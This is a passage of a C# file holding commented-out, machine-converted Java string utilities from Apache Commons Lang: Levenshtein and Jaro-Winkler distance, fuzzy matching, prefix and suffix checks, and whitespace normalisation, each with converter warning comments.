// return n; // } // if (n > m) // { // // swap the input strings to consume less memory // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final CharSequence tmp = s; // CharSequence tmp = s; // s = t; // t = tmp; // n = m; // m = t.length(); // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int p[] = new int[n + 1]; // int[] p = new int[n + 1]; // // indexes into strings s and t // int i; // iterates through s // int j; // iterates through t // int upper_left; // int upper; // char t_j; // jth character of t // int cost; // for (i = 0; i <= n; i++) // { // p[i] = i; // } // for (j = 1; j <= m; j++) // { // upper_left = p[0]; // t_j = t.charAt(j - 1); // p[0] = j; // for (i = 1; i <= n; i++) // { // upper = p[i]; // cost = s.charAt(i - 1) == t_j ? 0 : 1; // // minimum of cell to the left+1, to the top+1, diagonally left and up +cost // p[i] = Math.Min(Math.Min(p[i - 1] + 1, p[i] + 1), upper_left + cost); // upper_left = upper; // } // } // return p[n]; // } // /// <summary> // /// <para>Find the Levenshtein distance between two Strings if it's less than or equal to a given // /// threshold.</para> // /// // /// <para>This is the number of changes needed to change one String into // /// another, where each change is a single character modification (deletion, // /// insertion or substitution).</para> // /// // /// <para>This implementation follows from Algorithms on Strings, Trees and Sequences by <NAME> // /// and <NAME>'s implementation of the Levenshtein distance algorithm from // /// <a href="http://www.merriampark.com/ld.htm">http://www.merriampark.com/ld.htm</a></para> // /// // /// <pre> // /// StringUtils.getLevenshteinDistance(null, *, *) = IllegalArgumentException // /// StringUtils.getLevenshteinDistance(*, null, *) = IllegalArgumentException // /// StringUtils.getLevenshteinDistance(*, *, -1) = IllegalArgumentException // /// StringUtils.getLevenshteinDistance("","", 0) = 0 // /// StringUtils.getLevenshteinDistance("aaapppp", "", 8) = 7 // /// StringUtils.getLevenshteinDistance("aaapppp", "", 7) = 7 // /// StringUtils.getLevenshteinDistance("aaapppp", "", 6)) = -1 // /// StringUtils.getLevenshteinDistance("elephant", "hippo", 7) = 7 // /// StringUtils.getLevenshteinDistance("elephant", "hippo", 6) = -1 // /// StringUtils.getLevenshteinDistance("hippo", "elephant", 7) = 7 // /// StringUtils.getLevenshteinDistance("hippo", "elephant", 6) = -1 // /// </pre> // /// </summary> // /// <param name="s"> the first String, must not be null </param> // /// <param name="t"> the second String, must not be null </param> // /// <param name="threshold"> the target threshold, must not be negative </param> // /// <returns> result distance, or {@code -1} if the distance would be greater than the threshold </returns> // /// <exception cref="IllegalArgumentException"> if either String input {@code null} or negative threshold </exception> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int getLevenshteinDistance(CharSequence s, CharSequence t, final int threshold) // public static int getLevenshteinDistance(CharSequence s, CharSequence t, int threshold) // { // if (s == null || t == null) // { // throw new System.ArgumentException("Strings must not be null"); // } // if (threshold < 0) // { // throw new System.ArgumentException("Threshold must not be negative"); // } // /* // This implementation only computes the distance if it's less than or equal to the // threshold value, returning -1 if it's greater. The advantage is performance: unbounded // distance is O(nm), but a bound of k allows us to reduce it to O(km) time by only // computing a diagonal stripe of width 2k + 1 of the cost table. // It is also possible to use this to compute the unbounded Levenshtein distance by starting // the threshold at 1 and doubling each time until the distance is found; this is O(dm), where // d is the distance. // One subtlety comes from needing to ignore entries on the border of our stripe // eg. // p[] = |#|#|#|* // d[] = *|#|#|#| // We must ignore the entry to the left of the leftmost member // We must ignore the entry above the rightmost member // Another subtlety comes from our stripe running off the matrix if the strings aren't // of the same size. Since string s is always swapped to be the shorter of the two, // the stripe will always run off to the upper right instead of the lower left of the matrix. // As a concrete example, suppose s is of length 5, t is of length 7, and our threshold is 1. // In this case we're going to walk a stripe of length 3. The matrix would look like so: // 1 2 3 4 5 // 1 |#|#| | | | // 2 |#|#|#| | | // 3 | |#|#|#| | // 4 | | |#|#|#| // 5 | | | |#|#| // 6 | | | | |#| // 7 | | | | | | // Note how the stripe leads off the table as there is no possible way to turn a string of length 5 // into one of length 7 in edit distance of 1. // Additionally, this implementation decreases memory usage by using two // single-dimensional arrays and swapping them back and forth instead of allocating // an entire n by m matrix. This requires a few minor changes, such as immediately returning // when it's detected that the stripe has run off the matrix and initially filling the arrays with // large values so that entries we don't compute are ignored. // See Algorithms on Strings, Trees and Sequences by <NAME> for some discussion. // */ // int n = s.length(); // length of s // int m = t.length(); // length of t // // if one string is empty, the edit distance is necessarily the length of the other // if (n == 0) // { // return m <= threshold ? m : -1; // } // else if (m == 0) // { // return n <= threshold ? n : -1; // } // // no need to calculate the distance if the length difference is greater than the threshold // else if (Math.Abs(n - m) > threshold) // { // return -1; // } // if (n > m) // { // // swap the two strings to consume less memory // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final CharSequence tmp = s; // CharSequence tmp = s; // s = t; // t = tmp; // n = m; // m = t.length(); // } // int[] p = new int[n + 1]; // 'previous' cost array, horizontally // int[] d = new int[n + 1]; // cost array, horizontally // int[] _d; // placeholder to assist in swapping p and d // // fill in starting table values // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int boundary = Math.min(n, threshold) + 1; // int boundary = Math.Min(n, threshold) + 1; // for (int i = 0; i < boundary; i++) // { // p[i] = i; // } // // these fills ensure that the value above the rightmost entry of our // // stripe will be ignored in following loop iterations // Arrays.fill(p, boundary, p.Length, int.MaxValue); // Arrays.fill(d, int.MaxValue); // // iterates through t // for (int j = 1; j <= m; j++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char t_j = t.charAt(j - 1); // char t_j = t.charAt(j - 1); // jth character of t // d[0] = j; // // compute stripe indices, constrain to array size // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int min = Math.max(1, j - threshold); // int min = Math.Max(1, j - threshold); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int max = j > Integer.MAX_VALUE - threshold ? n : Math.min(n, j + threshold); // int max = j > int.MaxValue - threshold ? n : Math.Min(n, j + threshold); // // the stripe may lead off of the table if s and t are of different sizes // if (min > max) // { // return -1; // } // // ignore entry left of leftmost // if (min > 1) // { // d[min - 1] = int.MaxValue; // } // // iterates through [min, max] in s // for (int i = min; i <= max; i++) // { // if (s.charAt(i - 1) == t_j) // { // // diagonally left and up // d[i] = p[i - 1]; // } // else // { // // 1 + minimum of cell to the left, to the top, diagonally left and up // d[i] = 1 + Math.Min(Math.Min(d[i - 1], p[i]), p[i - 1]); // } // } // // copy current distance counts to 'previous row' distance counts // _d = p; // p = d; // d = _d; // } // // if p[n] is greater than the threshold, there's no guarantee on it being the correct // // distance // if (p[n] <= threshold) // { // return p[n]; // } // return -1; // } // /// <summary> // /// <para>Find the Jaro Winkler Distance which indicates the similarity score between two Strings.</para> // /// // /// <para>The Jaro measure is the weighted sum of percentage of matched characters from each file and transposed characters. // /// Winkler increased this measure for matching initial characters.</para> // /// // /// <para>This implementation is based on the Jaro Winkler similarity algorithm // /// from <a href="http://en.wikipedia.org/wiki/Jaro%E2%80%93Winkler_distance">http://en.wikipedia.org/wiki/Jaro%E2%80%93Winkler_distance</a>.</para> // /// // /// <pre> // /// StringUtils.getJaroWinklerDistance(null, null) = IllegalArgumentException // /// StringUtils.getJaroWinklerDistance("","") = 0.0 // /// StringUtils.getJaroWinklerDistance("","a") = 0.0 // /// StringUtils.getJaroWinklerDistance("aaapppp", "") = 0.0 // /// StringUtils.getJaroWinklerDistance("frog", "fog") = 0.93 // /// StringUtils.getJaroWinklerDistance("fly", "ant") = 0.0 // /// StringUtils.getJaroWinklerDistance("elephant", "hippo") = 0.44 // /// StringUtils.getJaroWinklerDistance("hippo", "elephant") = 0.44 // /// StringUtils.getJaroWinklerDistance("hippo", "zzzzzzzz") = 0.0 // /// StringUtils.getJaroWinklerDistance("hello", "hallo") = 0.88 // /// StringUtils.getJaroWinklerDistance("ABC Corporation", "ABC Corp") = 0.93 // /// StringUtils.getJaroWinklerDistance("D N H Enterprises Inc", "D &amp; H Enterprises, Inc.") = 0.95 // /// StringUtils.getJaroWinklerDistance("My Gym Children's Fitness Center", "My Gym. Childrens Fitness") = 0.92 // /// StringUtils.getJaroWinklerDistance("PENNSYLVANIA", "PENNCISYLVNIA") = 0.88 // /// </pre> // /// </summary> // /// <param name="first"> the first String, must not be null </param> // /// <param name="second"> the second String, must not be null </param> // /// <returns> result distance </returns> // /// <exception cref="IllegalArgumentException"> if either String input {@code null} // /// @since 3.3 </exception> // /// @deprecated as of 3.6, due to a misleading name, use <seealso cref="#getJaroWinklerSimilarity(CharSequence, CharSequence)"/> instead // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: @Deprecated("as of 3.6, due to a misleading name, use <seealso cref="#getJaroWinklerSimilarity(CharSequence, CharSequence)"/> instead") public static double getJaroWinklerDistance(final CharSequence first, final CharSequence second) // //[Obsolete("as of 3.6, due to a misleading name, use <seealso cref="#getJaroWinklerSimilarity(CharSequence, CharSequence)"/> instead")] //public static double getJaroWinklerDistance(CharSequence first, CharSequence second) // { // const double DEFAULT_SCALING_FACTOR = 0.1; // if (first == null || second == null) // { // throw new System.ArgumentException("Strings must not be null"); // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int[] mtp = matches(first, second); // int[] mtp = matches(first, second); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final double m = mtp[0]; // double m = mtp[0]; // if (m == 0) // { // return 0D; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final double j = ((m / first.length() + m / second.length() + (m - mtp[1]) / m)) / 3; // double j = ((m / first.length() + m / second.length() + (m - mtp[1]) / m)) / 3; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final double jw = j < 0.7D ? j : j + Math.min(DEFAULT_SCALING_FACTOR, 1D / mtp[3]) * mtp[2] * (1D - j); // double jw = j < 0.7D ? j : j + Math.Min(DEFAULT_SCALING_FACTOR, 1D / mtp[3]) * mtp[2] * (1D - j); // return Math.Round(jw * 100.0D) / 100.0D; // } // /// <summary> // /// <para>Find the Jaro Winkler Similarity which indicates the similarity score between two Strings.</para> // /// // /// <para>The Jaro measure is the weighted sum of percentage of matched characters from each file and transposed characters. // /// Winkler increased this measure for matching initial characters.</para> // /// // /// <para>This implementation is based on the Jaro Winkler similarity algorithm // /// from <a href="http://en.wikipedia.org/wiki/Jaro%E2%80%93Winkler_distance">http://en.wikipedia.org/wiki/Jaro%E2%80%93Winkler_distance</a>.</para> // /// // /// <pre> // /// StringUtils.getJaroWinklerSimilarity(null, null) = IllegalArgumentException // /// StringUtils.getJaroWinklerSimilarity("","") = 0.0 // /// StringUtils.getJaroWinklerSimilarity("","a") = 0.0 // /// StringUtils.getJaroWinklerSimilarity("aaapppp", "") = 0.0 // /// StringUtils.getJaroWinklerSimilarity("frog", "fog") = 0.93 // /// StringUtils.getJaroWinklerSimilarity("fly", "ant") = 0.0 // /// StringUtils.getJaroWinklerSimilarity("elephant", "hippo") = 0.44 // /// StringUtils.getJaroWinklerSimilarity("hippo", "elephant") = 0.44 // /// StringUtils.getJaroWinklerSimilarity("hippo", "zzzzzzzz") = 0.0 // /// StringUtils.getJaroWinklerSimilarity("hello", "hallo") = 0.88 // /// StringUtils.getJaroWinklerSimilarity("ABC Corporation", "ABC Corp") = 0.93 // /// StringUtils.getJaroWinklerSimilarity("D N H Enterprises Inc", "D &amp; H Enterprises, Inc.") = 0.95 // /// StringUtils.getJaroWinklerSimilarity("My Gym Children's Fitness Center", "My Gym. Childrens Fitness") = 0.92 // /// StringUtils.getJaroWinklerSimilarity("PENNSYLVANIA", "PENNCISYLVNIA") = 0.88 // /// </pre> // /// </summary> // /// <param name="first"> the first String, must not be null </param> // /// <param name="second"> the second String, must not be null </param> // /// <returns> result similarity </returns> // /// <exception cref="IllegalArgumentException"> if either String input {@code null} // /// @since 3.6 </exception> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static double getJaroWinklerSimilarity(final CharSequence first, final CharSequence second) // public static double getJaroWinklerSimilarity(CharSequence first, CharSequence second) // { // const double DEFAULT_SCALING_FACTOR = 0.1; // if (first == null || second == null) // { // throw new System.ArgumentException("Strings must not be null"); // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int[] mtp = matches(first, second); // int[] mtp = matches(first, second); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final double m = mtp[0]; // double m = mtp[0]; // if (m == 0) // { // return 0D; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final double j = ((m / first.length() + m / second.length() + (m - mtp[1]) / m)) / 3; // double j = ((m / first.length() + m / second.length() + (m - mtp[1]) / m)) / 3; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final double jw = j < 0.7D ? j : j + Math.min(DEFAULT_SCALING_FACTOR, 1D / mtp[3]) * mtp[2] * (1D - j); // double jw = j < 0.7D ? j : j + Math.Min(DEFAULT_SCALING_FACTOR, 1D / mtp[3]) * mtp[2] * (1D - j); // return Math.Round(jw * 100.0D) / 100.0D; // } // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static int[] matches(final CharSequence first, final CharSequence second) // private static int[] matches(CharSequence first, CharSequence second) // { // CharSequence max, min; // if (first.length() > second.length()) // { // max = first; // min = second; // } // else // { // max = second; // min = first; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int range = Math.max(max.length() / 2 - 1, 0); // int range = Math.Max(max.length() / 2 - 1, 0); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int[] matchIndexes = new int[min.length()]; // int[] matchIndexes = new int[min.length()]; // Arrays.fill(matchIndexes, -1); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final boolean[] matchFlags = new boolean[max.length()]; // bool[] matchFlags = new bool[max.length()]; // int matches = 0; // for (int mi = 0; mi < min.length(); mi++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char c1 = min.charAt(mi); // char c1 = min.charAt(mi); // for (int xi = Math.Max(mi - range, 0), xn = Math.Min(mi + range + 1, max.length()); xi < xn; xi++) // { // if (!matchFlags[xi] && c1 == max.charAt(xi)) // { // matchIndexes[mi] = xi; // matchFlags[xi] = true; // matches++; // break; // } // } // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char[] ms1 = new char[matches]; // char[] ms1 = new char[matches]; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char[] ms2 = new char[matches]; // char[] ms2 = new char[matches]; // for (int i = 0, si = 0; i < min.length(); i++) // { // if (matchIndexes[i] != -1) // { // ms1[si] = min.charAt(i); // si++; // } // } // for (int i = 0, si = 0; i < max.length(); i++) // { // if (matchFlags[i]) // { // ms2[si] = max.charAt(i); // si++; // } // } // int transpositions = 0; // for (int mi = 0; mi < ms1.Length; mi++) // { // if (ms1[mi] != ms2[mi]) // { // transpositions++; // } // } // int prefix = 0; // for (int mi = 0; mi < min.length(); mi++) // { // if (first.charAt(mi) == second.charAt(mi)) // { // prefix++; // } // else // { // break; // } // } // return new int[] { matches, transpositions / 2, prefix, max.length() }; // } // /// <summary> // /// <para>Find the Fuzzy Distance which indicates the similarity score between two Strings.</para> // /// // /// <para>This string matching algorithm is similar to the algorithms of editors such as Sublime Text, // /// TextMate, Atom and others. One point is given for every matched character. Subsequent // /// matches yield two bonus points. A higher score indicates a higher similarity.</para> // /// // /// <pre> // /// StringUtils.getFuzzyDistance(null, null, null) = IllegalArgumentException // /// StringUtils.getFuzzyDistance("", "", Locale.ENGLISH) = 0 // /// StringUtils.getFuzzyDistance("Workshop", "b", Locale.ENGLISH) = 0 // /// StringUtils.getFuzzyDistance("Room", "o", Locale.ENGLISH) = 1 // /// StringUtils.getFuzzyDistance("Workshop", "w", Locale.ENGLISH) = 1 // /// StringUtils.getFuzzyDistance("Workshop", "ws", Locale.ENGLISH) = 2 // /// StringUtils.getFuzzyDistance("Workshop", "wo", Locale.ENGLISH) = 4 // /// StringUtils.getFuzzyDistance("Apache Software Foundation", "asf", Locale.ENGLISH) = 3 // /// </pre> // /// </summary> // /// <param name="term"> a full term that should be matched against, must not be null </param> // /// <param name="query"> the query that will be matched against a term, must not be null </param> // /// <param name="locale"> This string matching logic is case insensitive. A locale is necessary to normalize // /// both Strings to lower case. </param> // /// <returns> result score </returns> // /// <exception cref="IllegalArgumentException"> if either String input {@code null} or Locale input {@code null} // /// @since 3.4 </exception> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int getFuzzyDistance(final CharSequence term, final CharSequence query, final java.util.Locale locale) // public static int getFuzzyDistance(CharSequence term, CharSequence query, Locale locale) // { // if (term == null || query == null) // { // throw new System.ArgumentException("Strings must not be null"); // } // else if (locale == null) // { // throw new System.ArgumentException("Locale must not be null"); // } // // fuzzy logic is case insensitive. We normalize the Strings to lower // // case right from the start. Turning characters to lower case // // via Character.toLowerCase(char) is unfortunately insufficient // // as it does not accept a locale. // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String termLowerCase = term.toString().toLowerCase(locale); // string termLowerCase = term.ToString().ToLower(locale); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String queryLowerCase = query.toString().toLowerCase(locale); // string queryLowerCase = query.ToString().ToLower(locale); // // the resulting score // int score = 0; // // the position in the term which will be scanned next for potential // // query character matches // int termIndex = 0; // // index of the previously matched character in the term // int previousMatchingCharacterIndex = int.MinValue; // for (int queryIndex = 0; queryIndex < queryLowerCase.Length; queryIndex++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char queryChar = queryLowerCase.charAt(queryIndex); // char queryChar = queryLowerCase[queryIndex]; // bool termCharacterMatchFound = false; // for (; termIndex < termLowerCase.Length && !termCharacterMatchFound; termIndex++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char termChar = termLowerCase.charAt(termIndex); // char termChar = termLowerCase[termIndex]; // if (queryChar == termChar) // { // // simple character matches result in one point // score++; // // subsequent character matches further improve // // the score. // if (previousMatchingCharacterIndex + 1 == termIndex) // { // score += 2; // } // previousMatchingCharacterIndex = termIndex; // // we can leave the nested loop. Every character in the // // query can match at most one character in the term. // termCharacterMatchFound = true; // } // } // } // return score; // } // // startsWith // //----------------------------------------------------------------------- // /// <summary> // /// <para>Check if a CharSequence starts with a specified prefix.</para> // /// // /// <para>{@code null}s are handled without exceptions. Two {@code null} // /// references are considered to be equal. The comparison is case sensitive.</para> // /// // /// <pre> // /// StringUtils.startsWith(null, null) = true // /// StringUtils.startsWith(null, "abc") = false // /// StringUtils.startsWith("abcdef", null) = false // /// StringUtils.startsWith("abcdef", "abc") = true // /// StringUtils.startsWith("ABCDEF", "abc") = false // /// </pre> // /// </summary> // /// <seealso cref= java.lang.String#startsWith(String) </seealso> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="prefix"> the prefix to find, may be null </param> // /// <returns> {@code true} if the CharSequence starts with the prefix, case sensitive, or // /// both {@code null} // /// @since 2.4 // /// @since 3.0 Changed signature from startsWith(String, String) to startsWith(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean startsWith(final CharSequence str, final CharSequence prefix) // public static bool startsWith(CharSequence str, CharSequence prefix) // { // return startsWith(str, prefix, false); // } // /// <summary> // /// <para>Case insensitive check if a CharSequence starts with a specified prefix.</para> // /// // /// <para>{@code null}s are handled without exceptions. Two {@code null} // /// references are considered to be equal. The comparison is case insensitive.</para> // /// // /// <pre> // /// StringUtils.startsWithIgnoreCase(null, null) = true // /// StringUtils.startsWithIgnoreCase(null, "abc") = false // /// StringUtils.startsWithIgnoreCase("abcdef", null) = false // /// StringUtils.startsWithIgnoreCase("abcdef", "abc") = true // /// StringUtils.startsWithIgnoreCase("ABCDEF", "abc") = true // /// </pre> // /// </summary> // /// <seealso cref= java.lang.String#startsWith(String) </seealso> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="prefix"> the prefix to find, may be null </param> // /// <returns> {@code true} if the CharSequence starts with the prefix, case insensitive, or // /// both {@code null} // /// @since 2.4 // /// @since 3.0 Changed signature from startsWithIgnoreCase(String, String) to startsWithIgnoreCase(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean startsWithIgnoreCase(final CharSequence str, final CharSequence prefix) // public static bool startsWithIgnoreCase(CharSequence str, CharSequence prefix) // { // return startsWith(str, prefix, true); // } // /// <summary> // /// <para>Check if a CharSequence starts with a specified prefix (optionally case insensitive).</para> // /// </summary> // /// <seealso cref= java.lang.String#startsWith(String) </seealso> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="prefix"> the prefix to find, may be null </param> // /// <param name="ignoreCase"> indicates whether the compare should ignore case // /// (case insensitive) or not. </param> // /// <returns> {@code true} if the CharSequence starts with the prefix or // /// both {@code null} </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static boolean startsWith(final CharSequence str, final CharSequence prefix, final boolean ignoreCase) // private static bool startsWith(CharSequence str, CharSequence prefix, bool ignoreCase) // { // if (str == null || prefix == null) // { // return str == null && prefix == null; // } // if (prefix.length() > str.length()) // { // return false; // } // return CharSequenceUtils.regionMatches(str, ignoreCase, 0, prefix, 0, prefix.length()); // } // /// <summary> // /// <para>Check if a CharSequence starts with any of the provided case-sensitive prefixes.</para> // /// // /// <pre> // /// StringUtils.startsWithAny(null, null) = false // /// StringUtils.startsWithAny(null, new String[] {"abc"}) = false // /// StringUtils.startsWithAny("abcxyz", null) = false // /// StringUtils.startsWithAny("abcxyz", new String[] {""}) = true // /// StringUtils.startsWithAny("abcxyz", new String[] {"abc"}) = true // /// StringUtils.startsWithAny("abcxyz", new String[] {null, "xyz", "abc"}) = true // /// StringUtils.startsWithAny("abcxyz", null, "xyz", "ABCX") = false // /// StringUtils.startsWithAny("ABCXYZ", null, "xyz", "abc") = false // /// </pre> // /// </summary> // /// <param name="sequence"> the CharSequence to check, may be null </param> // /// <param name="searchStrings"> the case-sensitive CharSequence prefixes, may be empty or contain {@code null} </param> // /// <seealso cref= StringUtils#startsWith(CharSequence, CharSequence) </seealso> // /// <returns> {@code true} if the input {@code sequence} is {@code null} AND no {@code searchStrings} are provided, or // /// the input {@code sequence} begins with any of the provided case-sensitive {@code searchStrings}. // /// @since 2.5 // /// @since 3.0 Changed signature from startsWithAny(String, String[]) to startsWithAny(CharSequence, CharSequence...) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean startsWithAny(final CharSequence sequence, final CharSequence... searchStrings) // public static bool startsWithAny(CharSequence sequence, params CharSequence[] searchStrings) // { // if (isEmpty(sequence) || ArrayUtils.isEmpty(searchStrings)) // { // return false; // } // foreach (CharSequence searchString in searchStrings) // { // if (startsWith(sequence, searchString)) // { // return true; // } // } // return false; // } // // endsWith // //----------------------------------------------------------------------- // /// <summary> // /// <para>Check if a CharSequence ends with a specified suffix.</para> // /// // /// <para>{@code null}s are handled without exceptions. Two {@code null} // /// references are considered to be equal. The comparison is case sensitive.</para> // /// // /// <pre> // /// StringUtils.endsWith(null, null) = true // /// StringUtils.endsWith(null, "def") = false // /// StringUtils.endsWith("abcdef", null) = false // /// StringUtils.endsWith("abcdef", "def") = true // /// StringUtils.endsWith("ABCDEF", "def") = false // /// StringUtils.endsWith("ABCDEF", "cde") = false // /// StringUtils.endsWith("ABCDEF", "") = true // /// </pre> // /// </summary> // /// <seealso cref= java.lang.String#endsWith(String) </seealso> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="suffix"> the suffix to find, may be null </param> // /// <returns> {@code true} if the CharSequence ends with the suffix, case sensitive, or // /// both {@code null} // /// @since 2.4 // /// @since 3.0 Changed signature from endsWith(String, String) to endsWith(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean endsWith(final CharSequence str, final CharSequence suffix) // public static bool endsWith(CharSequence str, CharSequence suffix) // { // return endsWith(str, suffix, false); // } // /// <summary> // /// <para>Case insensitive check if a CharSequence ends with a specified suffix.</para> // /// // /// <para>{@code null}s are handled without exceptions. Two {@code null} // /// references are considered to be equal. The comparison is case insensitive.</para> // /// // /// <pre> // /// StringUtils.endsWithIgnoreCase(null, null) = true // /// StringUtils.endsWithIgnoreCase(null, "def") = false // /// StringUtils.endsWithIgnoreCase("abcdef", null) = false // /// StringUtils.endsWithIgnoreCase("abcdef", "def") = true // /// StringUtils.endsWithIgnoreCase("ABCDEF", "def") = true // /// StringUtils.endsWithIgnoreCase("ABCDEF", "cde") = false // /// </pre> // /// </summary> // /// <seealso cref= java.lang.String#endsWith(String) </seealso> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="suffix"> the suffix to find, may be null </param> // /// <returns> {@code true} if the CharSequence ends with the suffix, case insensitive, or // /// both {@code null} // /// @since 2.4 // /// @since 3.0 Changed signature from endsWithIgnoreCase(String, String) to endsWithIgnoreCase(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean endsWithIgnoreCase(final CharSequence str, final CharSequence suffix) // public static bool endsWithIgnoreCase(CharSequence str, CharSequence suffix) // { // return endsWith(str, suffix, true); // } // /// <summary> // /// <para>Check if a CharSequence ends with a specified suffix (optionally case insensitive).</para> // /// </summary> // /// <seealso cref= java.lang.String#endsWith(String) </seealso> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="suffix"> the suffix to find, may be null </param> // /// <param name="ignoreCase"> indicates whether the compare should ignore case // /// (case insensitive) or not. </param> // /// <returns> {@code true} if the CharSequence starts with the prefix or // /// both {@code null} </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static boolean endsWith(final CharSequence str, final CharSequence suffix, final boolean ignoreCase) // private static bool endsWith(CharSequence str, CharSequence suffix, bool ignoreCase) // { // if (str == null || suffix == null) // { // return str == null && suffix == null; // } // if (suffix.length() > str.length()) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int strOffset = str.length() - suffix.length(); // int strOffset = str.length() - suffix.length(); // return CharSequenceUtils.regionMatches(str, ignoreCase, strOffset, suffix, 0, suffix.length()); // } // /// <summary> // /// <para> // /// Similar to <a // /// href="http://www.w3.org/TR/xpath/#function-normalize-space">http://www.w3.org/TR/xpath/#function-normalize // /// -space</a> // /// </para> // /// <para> // /// The function returns the argument string with whitespace normalized by using // /// <code><seealso cref="#trim(String)"/></code> to remove leading and trailing whitespace // /// and then replacing sequences of whitespace characters by a single space. // /// </para> // /// In XML Whitespace characters are the same as those allowed by the <a // /// href="http://www.w3.org/TR/REC-xml/#NT-S">S</a> production, which is S ::= (#x20 | #x9 | #xD | #xA)+ // /// <para> // /// Java's regexp pattern \s defines whitespace as [ \t\n\x0B\f\r] // /// // /// </para> // /// <para>For reference:</para> // /// <ul> // /// <li>\x0B = vertical tab</li> // /// <li>\f = #xC = form feed</li> // /// <li>#x20 = space</li> // /// <li>#x9 = \t</li> // /// <li>#xA = \n</li> // /// <li>#xD = \r</li> // /// </ul> // /// // /// <para> // /// The difference is that Java's whitespace includes vertical tab and form feed, which this functional will also // /// normalize. Additionally <code><seealso cref="#trim(String)"/></code> removes control characters (char &lt;= 32) from both // /// ends of this String. // /// </para> // /// </summary> // /// <seealso cref= Pattern </seealso> // /// <seealso cref= #trim(String) </seealso> // /// <seealso cref= <a // /// href="http://www.w3.org/TR/xpath/#function-normalize-space">http://www.w3.org/TR/xpath/#function-normalize-space</a> </seealso> // /// <param name="str"> the source String to normalize whitespaces from, may be null </param> // /// <returns> the modified string with whitespace normalized, {@code null} if null String input // /// // /// @since 3.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String normalizeSpace(final String str) // public static string normalizeSpace(string str) // { // // LANG-1020: Improved performance significantly by normalizing manually instead of using regex // // See https://github.com/librucha/commons-lang-normalizespaces-benchmark for performance test // if (isEmpty(str)) // { // return str; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int size = str.length(); // int size = str.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char[] newChars = new char[size]; // char[] newChars = new char[size]; // int count = 0; // int whitespacesCount = 0; // bool startWhitespaces = true; // for (int i = 0; i < size; i++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char actualChar = str.charAt(i); // char actualChar = str[i]; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final boolean isWhitespace = Character.isWhitespace(actualChar); // bool isWhitespace = 